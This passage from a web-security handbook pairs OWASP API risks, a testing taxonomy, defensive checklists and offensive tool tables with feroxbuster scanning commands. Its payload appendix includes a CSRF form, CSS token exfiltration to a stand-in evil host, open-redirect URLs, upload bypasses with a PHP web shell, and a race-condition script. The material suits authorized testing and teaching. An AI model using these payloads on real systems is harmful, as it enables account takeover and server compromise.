- **Chrome sandbox escape**: Exploiting IPC mechanisms to break out of renderer sandbox
- **Browser exploit methodology** (RET2): Structured approach to browser pwn

### 13.3 Cross-Protocol Attacks
- **DNS Rebinding**: Bypass SOP by switching DNS resolution mid-session
  - Attack internal network services from browser
  - Tools: DNS Rebind Toolkit, Singularity, whonow
- **WebRTC IP Leaking**: Bypass VPN to discover real IP via STUN

---

## 14. API Security

### 14.1 OWASP API Security Top 10 (2023)

| # | Risk | Attack Vector | Defense |
|---|------|--------------|---------|
| API1 | Broken Object Level Authorization (BOLA/IDOR) | Manipulate object IDs in API calls to access other users' data | Implement object-level authorization checks; use UUIDs not sequential IDs |
| API2 | Broken Authentication | Credential stuffing, JWT attacks, weak tokens | Rate limiting, MFA, short-lived tokens, strong secret management |
| API3 | Broken Object Property Level Authorization | Mass assignment, excessive data exposure | Explicit allow-lists for returned/accepted properties; schema validation |
| API4 | Unrestricted Resource Consumption | Resource exhaustion, API abuse | Rate limiting (sliding window), pagination limits, query cost analysis |
| API5 | Broken Function Level Authorization | Accessing admin endpoints as regular user | Role-based access control on every endpoint; deny-by-default |
| API6 | Unrestricted Access to Sensitive Business Flows | Automated abuse of business logic (scalping, spam) | Anti-automation, CAPTCHA, behavioral analysis, proof-of-work |
| API7 | Server Side Request Forgery | API fetches attacker-controlled URLs | URL validation, allowlists, disable redirects, network segmentation |
| API8 | Security Misconfiguration | Debug enabled, default creds, verbose errors, CORS * | Hardening, automated config scanning, security headers |
| API9 | Improper Inventory Management | Attacking old API versions, undocumented endpoints | API inventory, version deprecation, endpoint documentation |
| API10 | Unsafe Consumption of APIs | Trusting third-party API responses without validation | Validate/sanitize all third-party responses; timeout and circuit break |

### 14.2 API Security Checklist (Defense)

**Authentication:**
- No Basic Auth; use standard (OAuth 2.0, OpenID Connect)
- Max retry + account lockout on login
- Encryption on all sensitive data in transit

**Authorization (OAuth):**
- Validate `redirect_uri` server-side against allowlist
- Exchange for code, not tokens (`response_type=code`, never `token`)
- Use `state` parameter with random hash to prevent CSRF
- Define and validate scopes per application

**Input:**
- Validate `content-type` on request Accept header
- Validate user input (XSS, SQLi, RCE)
- No sensitive data in URLs; use Authorization header
- API Gateway for rate limiting (Quota, Spike Arrest, Concurrent Rate Limit)

**Processing:**
- All endpoints behind authentication
- Use `/me/orders` not `/user/654321/orders`
- UUIDs instead of auto-increment IDs
- Disable XML entity parsing (XXE prevention)
- Disable entity expansion (Billion Laughs)
- DEBUG mode OFF in production

**Output:**
- `X-Content-Type-Options: nosniff`
- `X-Frame-Options: deny`
- `Content-Security-Policy: default-src 'none'`
- Remove fingerprinting headers (`X-Powered-By`, `Server`)
- Generic error messages to clients; detailed logs server-side only

**GraphQL-Specific:**
- Disable introspection in production
- Query depth limiting
- Query cost analysis
- Whitelist allowed queries (persisted queries)

**Zero Trust:**
- mTLS for service-to-service
- Validate all requests including internal
- Short-lived tokens with automatic refresh
- Request signing for sensitive operations

---

## 15. OWASP Testing Methodology (WSTG v4.2)

### Complete Test Case Taxonomy

**4.1 Information Gathering (WSTG-INFO-01 through 10)**
01. Search engine discovery/reconnaissance
02. Web server fingerprinting
03. Webserver metafiles review (robots.txt, sitemap.xml)
04. Application enumeration on web server
05. Webpage content review for information leakage
06. Application entry point identification
07. Execution path mapping
08. Web application framework fingerprinting
09. Web application fingerprinting
10. Application architecture mapping

**4.2 Configuration & Deployment Management (WSTG-CONF-01 through 11)**
01. Network infrastructure configuration testing
02. Application platform configuration testing
03. File extensions handling
04. Backup and unreferenced file discovery
05. Admin interface enumeration
06. HTTP methods testing
07. HTTP Strict Transport Security
08. RIA cross domain policy testing
09. File permission testing
10. Subdomain takeover testing
11. Cloud storage testing

**4.3 Identity Management (WSTG-IDNT-01 through 05)**
01. Role definitions testing
02. User registration process testing
03. Account provisioning testing
04. Account enumeration and guessable account testing
05. Weak/unenforced username policy testing

**4.4 Authentication (WSTG-AUTHN-01 through 10)**
01. Credentials transported over encrypted channel
02. Default credentials testing
03. Weak lock out mechanism testing
04. Authentication schema bypassing
05. Vulnerable remember password testing
06. Browser cache weakness testing
07. Weak password policy testing
08. Weak security question/answer testing
09. Weak password change/reset functionality
10. Weaker authentication in alternative channel

**4.5 Authorization (WSTG-AUTHZ-01 through 04)**
01. Directory traversal/file include testing
02. Authorization schema bypass testing
03. Privilege escalation testing
04. Insecure direct object reference (IDOR) testing

**4.6 Session Management (WSTG-SESS-01 through 09)**
01. Session management schema testing
02. Cookie attributes testing
03. Session fixation testing
04. Exposed session variables testing
05. CSRF testing
06. Logout functionality testing
07. Session timeout testing
08. Session puzzling testing
09. Session hijacking testing

**4.7 Input Validation (WSTG-INPV-01 through 19)**
01. Reflected XSS testing
02. Stored XSS testing
03. HTTP verb tampering
04. HTTP parameter pollution
05. SQL injection (+ Oracle, MySQL, MSSQL, PostgreSQL, MS Access, NoSQL, ORM, client-side variants)
06. LDAP injection
07. XML injection
08. SSI injection
09. XPath injection
10. IMAP/SMTP injection
11. Code injection (local/remote file inclusion)
12. Command injection
13. Format string injection
14. Incubated vulnerability testing
15. HTTP splitting/smuggling
16. HTTP incoming request testing
17. Host header injection
18. Server-side template injection
19. Server-side request forgery

**4.8 Error Handling (WSTG-ERRH-01 through 02)**
01. Improper error handling testing
02. Stack trace testing

**4.9 Cryptography (WSTG-CRYP-01 through 04)**
01. Weak transport layer security
02. Padding oracle testing
03. Sensitive information sent via unencrypted channels
04. Weak encryption testing

**4.10 Business Logic (WSTG-BUSL-00 through 09)**
00. Business logic data validation
01. Request forgery testing
02. Integrity check testing
03. Process timing testing
04. Function use limits testing
05. Workflow circumvention testing
06. Application misuse defense testing
07. Unexpected file type upload testing
08. Malicious file upload testing
09. (Additional business logic tests)

**4.11 Client-Side (WSTG-CLNT-01 through 13)**
01. DOM-based XSS
02. JavaScript execution testing
03. HTML injection
04. Client-side URL redirect
05. CSS injection
06. Client-side resource manipulation
07. CORS testing
08. Cross-site flashing
09. Clickjacking testing
10. WebSocket testing
11. Web messaging testing
12. Browser storage testing
13. Cross-site script inclusion (XSSI)

**4.12 API Testing (WSTG-APIT-01)**
01. GraphQL testing

---

## 16. Defensive Controls Catalog

### OWASP Cheat Sheet Series — Key Defense Categories

**Injection Prevention:**
- SQL Injection Prevention (parameterized queries, allow-list validation)
- OS Command Injection Defense (avoid system calls, input validation)
- LDAP Injection Prevention
- XSS Prevention (output encoding, CSP)
- DOM XSS Prevention (safe sinks, avoid innerHTML)
- XXE Prevention (disable external entities, use JSON)
- Server Side Request Forgery Prevention (URL allowlists, network segmentation)
- NoSQL Security
- Query Parameterization

**Authentication & Session:**
- Authentication Cheat Sheet (multi-factor, credential storage)
- Session Management (secure cookies, timeout, regeneration)
- Password Storage (bcrypt/scrypt/Argon2, salting)
- Credential Stuffing Prevention (rate limiting, CAPTCHA, breached password detection)
- Forgot Password (token-based reset, no security questions)
- JSON Web Token for Java (strict validation, algorithm whitelist)

**Access Control:**
- Access Control Cheat Sheet (RBAC, deny-by-default)
- Authorization Testing Automation
- Cross-Site Request Forgery Prevention (synchronizer token, SameSite cookies)
- Clickjacking Defense (X-Frame-Options, CSP frame-ancestors)
- CORS configuration (strict origin validation)

**Cryptography & Transport:**
- Transport Layer Security (TLS 1.2+, HSTS)
- Cryptographic Storage (AES-256-GCM, key management)
- Key Management (rotation, HSM)
- HTTP Strict Transport Security

**Infrastructure:**
- Docker Security
- Kubernetes Security
- CI/CD Security
- Infrastructure as Code Security
- Serverless/FaaS Security
- Network Segmentation
- Zero Trust Architecture

**Application Design:**
- Secure Product Design
- Threat Modeling
- Input Validation (server-side, type-safe)
- Error Handling (generic messages, detailed server logs)
- Logging (structured, no sensitive data)
- File Upload (type validation, virus scanning, isolated storage)
- Content Security Policy (strict, nonce-based)

**Modern Threats:**
- Prototype Pollution Prevention
- LLM Prompt Injection Prevention
- Web LLM Attack Defense
- GraphQL Security
- WebSocket Security
- Browser Extension Vulnerabilities
- Supply Chain Security
- MCP Security

---

## 17. Attack Toolchain

### 17.1 Reconnaissance & Discovery

**Subdomain Enumeration:**
| Tool | Language | Method |
|------|----------|--------|
| Amass | Go | Passive + Active DNS |
| subfinder | Go | Passive OSINT sources |
| Sublist3r | Python | Search engine scraping |
| puredns | Go | DNS brute force + wildcard filtering |
| altdns | Python | Subdomain permutation |
| shuffledns | Go | Mass DNS resolution |
| knockpy | Python | DNS wordlist + virustotal |

**Web Crawling & Content Discovery:**
| Tool | Language | Purpose |
|------|----------|---------|
| feroxbuster | Rust | Recursive directory brute force |
| gobuster | Go | Directory/DNS/VHost brute force |
| dirsearch | Python | Web path scanner |
| katana | Go | Next-gen crawling |
| gospider | Go | Fast web spider |
| hakrawler | Go | Endpoint discovery |

**JavaScript Analysis:**
| Tool | Purpose |
|------|---------|
| jsluice | Extract URLs, paths, secrets from JS |
| xnLinkFinder | Endpoint + parameter discovery |
| SecretFinder | API keys, tokens in JS files |
| JSFScan.sh | JS recon automation |
| LinkFinder | Endpoint extraction |

**Parameter Discovery:**
| Tool | Purpose |
|------|---------|
| Arjun | HTTP parameter brute force |
| ParamSpider | Mine params from web archives |
| x8 | Hidden parameter discovery |
| Parth | Heuristic vulnerable parameter scanning |

### 17.2 Proxy & Interception

| Tool | Type | Notes |
|------|------|-------|
| Burp Suite | Commercial | Industry standard; extensible |
| Caido | Rust-based | Lightweight alternative |
| mitmproxy | Python | CLI-friendly, scriptable |
| ZAP | Java/Open source | OWASP project, CI/CD integration |

### 17.3 Scanning & Exploitation

**Vulnerability Scanners:**
| Tool | Language | Specialty |
|------|----------|-----------|
| Nuclei | Go | Template-based scanning |
| nikto | Perl | Web server scanner |
| wpscan | Ruby | WordPress-specific |
| sqlmap | Python | SQL injection automation |
| XSStrike | Python | XSS fuzzing + WAF detection |
| tplmap | Python | SSTI detection/exploitation |
| commix | Python | Command injection automation |
| dtd-finder | Java | XXE payload generation |

**Fuzzing:**
| Tool | Purpose |
|------|---------|
| wfuzz | Web application fuzzer |
| ffuf | Fast web fuzzer (Go) |
| FuzzDB | Attack pattern dictionary |
| domato | Google DOM fuzzer |

### 17.4 Post-Exploitation / Data Extraction

| Tool | Purpose |
|------|---------|
| BeEF | Browser Exploitation Framework |
| PhpSploit | PHP webshell C2 |
| Weevely | Weaponized PHP webshell |
| gitleaks | Secret scanning in git repos |
| HTTPLeaks | All HTTP request leak vectors |
| LinkFinder | Endpoint discovery in JS |

### 17.5 Utility Tools

| Tool | Purpose |
|------|---------|
| CyberChef | Encoding/decoding Swiss Army knife |
| jwt_tool | JWT manipulation and attack |
| Atlas | SQLMap tamper suggester |
| quickjack | Clickjacking PoC generator |
| GadgetProbe | Java deserialization class discovery |

---

## 18. Feroxbuster Advanced Usage

### 18.1 Core Capabilities
- Recursive directory/file brute forcing (Forced Browsing)
- Written in Rust for high performance
- Configurable via CLI, config file, or environment variables

### 18.2 Key Configuration Options

```toml
# ferox-config.toml
wordlist = "/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt"
threads = 50
timeout = 7
depth = 4                          # Recursion depth
scan_limit = 6                     # Max concurrent scans
rate_limit = 250                   # Requests per second
parallel = 8                       # Parallel scans
auto_tune = true                   # Auto-adjust speed based on errors
auto_bail = true                   # Stop on excessive errors

# Filtering
status_codes = [200, 301, 302, 307, 401, 403, 405]
filter_status = [404]
filter_size = [0]                  # Filter by response size
filter_word_count = [0]            # Filter by word count
filter_line_count = [0]            # Filter by line count
filter_regex = ["^$"]             # Filter by regex
filter_similar = ["https://target/custom-404"]  # Similarity-based 404 detection

# Extensions
extensions = ["php", "asp", "aspx", "jsp", "html", "js", "json", "xml", "txt", "bak", "old", "conf"]
collect_extensions = true           # Auto-discover extensions
collect_backups = true              # Auto-check backup files (.bak, .old, ~)
collect_words = true                # Build wordlist from responses

# Proxy integration
proxy = "http://127.0.0.1:8080"    # Route through Burp
replay_proxy = "http://127.0.0.1:8081"  # Replay interesting finds
replay_codes = [200, 302, 403]

# Advanced
extract_links = true                # Spider-like link extraction
force_recursion = true              # Recurse even on non-directory responses
scan_dir_listings = true            # Parse directory listings
unique = true                       # Only display unique URLs
methods = ["GET", "POST"]           # Test multiple HTTP methods
random_agent = true                 # Randomize User-Agent
```

### 18.3 Advanced Usage Patterns

```bash
# Recursive scan with extensions through Burp proxy
feroxbuster -u https://target.com -x php,asp,aspx,jsp -d 4 --proxy http://127.0.0.1:8080

# Pipeline: read URLs from stdin, output only 200s silently
cat targets.txt | feroxbuster --stdin --silent -s 200 301 302 --redirects | tee results.txt

# Rate-limited scan with auto-tuning
feroxbuster -u https://target.com --rate-limit 100 --auto-tune --auto-bail

# Scan with custom headers (auth token)
feroxbuster -u https://target.com -H "Authorization: Bearer TOKEN" -H "Cookie: session=abc123"

# Filter false positives by response similarity
feroxbuster -u https://target.com --filter-similar-to https://target.com/known-404

# SOCKS proxy support
feroxbuster -u https://target.com --proxy socks5://127.0.0.1:9050

# Time-limited engagement
feroxbuster -u https://target.com --time-limit 30m

# Resume interrupted scan
feroxbuster --resume-from ferox-STATE-FILE.json

# Backup file discovery mode
feroxbuster -u https://target.com --collect-backups --collect-extensions

# Client certificate authentication
feroxbuster -u https://target.com --client-cert cert.pem --client-key key.pem
```

### 18.4 Recursion Strategy
- Default depth: 4 levels
- `--force-recursion`: Recurse on all responses, not just directories
- `--no-recursion`: Single-level scan only
- `--scan-dir-listings`: Parse discovered directory listings for additional targets
- `--dont-filter`: Show all responses (useful for initial recon)
- Scope control via `--scope` and `--url-denylist`

---

## Appendix A: Quick Reference — Attack Payloads by Category

### A.1 CSRF
```html
<!-- Auto-submit form -->
<form action="https://target.com/api/change-email" method="POST" id="csrf">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>

<!-- JSON CSRF via Flash redirect (legacy) -->
<!-- Steal CSRF tokens via CSS injection: input[value^="a"]{background:url(//evil/a)} -->
```

### A.2 Clickjacking
```html
<style>
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 490px; left: 60px; z-index: 1; }
</style>
<div class="decoy">Click here for a prize!</div>
<iframe src="https://target.com/delete-account"></iframe>
```

### A.3 Open Redirect
```
https://target.com/redirect?url=https://evil.com
https://target.com/redirect?url=//evil.com
https://target.com/redirect?url=/\evil.com
https://target.com/redirect?url=https://target.com@evil.com
https://target.com/redirect?url=https://evil.com%23.target.com
https://target.com/redirect?url=https://evil.com%00.target.com
```

### A.4 File Upload Bypass
```
# Extension bypass
shell.php.jpg
shell.php%00.jpg          # Null byte (legacy)
shell.pHp                 # Case variation
shell.php5 / shell.phtml  # Alternative extensions
shell.php.                # Trailing dot (Windows)
shell.php::$DATA          # NTFS alternate data stream

# Content-Type bypass
Content-Type: image/jpeg  # With PHP content

# Magic bytes + PHP
GIF89a<?php system($_GET['cmd']); ?>

# .htaccess upload
AddType application/x-httpd-php .jpg
```

### A.5 Race Conditions
```python
# Time-of-check to time-of-use (TOCTOU)
# Send parallel requests to exploit window between check and action
import threading
import requests

def exploit():
    requests.post("https://target.com/transfer", data={"amount": 1000, "to": "attacker"})

threads = [threading.Thread(target=exploit) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
```

---

## Appendix B: Detection Opportunities

For every offensive technique above, defenders should consider:

| Attack | Detection Signal | Log Source |
|--------|-----------------|------------|
| SQLi | Unusual SQL syntax in parameters, error messages | WAF logs, application logs |
| XSS | Script tags/event handlers in input | WAF logs, CSP violation reports |
| SSRF | Internal IP addresses in request parameters | Application logs, network flow |
| Request Smuggling | CL/TE header inconsistencies | Reverse proxy logs, packet capture |
| Cache Poisoning | Unusual headers (X-Forwarded-Host) | CDN/cache logs |
| Prototype Pollution | `__proto__` or `constructor` in JSON input | Application logs, WAF |
| JWT Attacks | Algorithm `none`, embedded JWK, weak signatures | Authentication logs |
| Deserialization | Serialized object markers (rO0AB, AC ED) | Application logs, IDS |
| Command Injection | Shell metacharacters in parameters | Application logs, auditd |
| File Upload | Double extensions, PHP in images | WAF, file integrity monitoring |
| Directory Traversal | `../` sequences in paths | Web server logs, WAF |
| CSRF | Cross-origin POST without valid token | Application logs |
| Brute Force | High-rate auth failures from single IP | Auth logs, SIEM correlation |

---

*This document represents extracted and synthesized knowledge from the listed sources. All techniques are documented for authorized security testing and defensive understanding. Verify authorization before testing.*
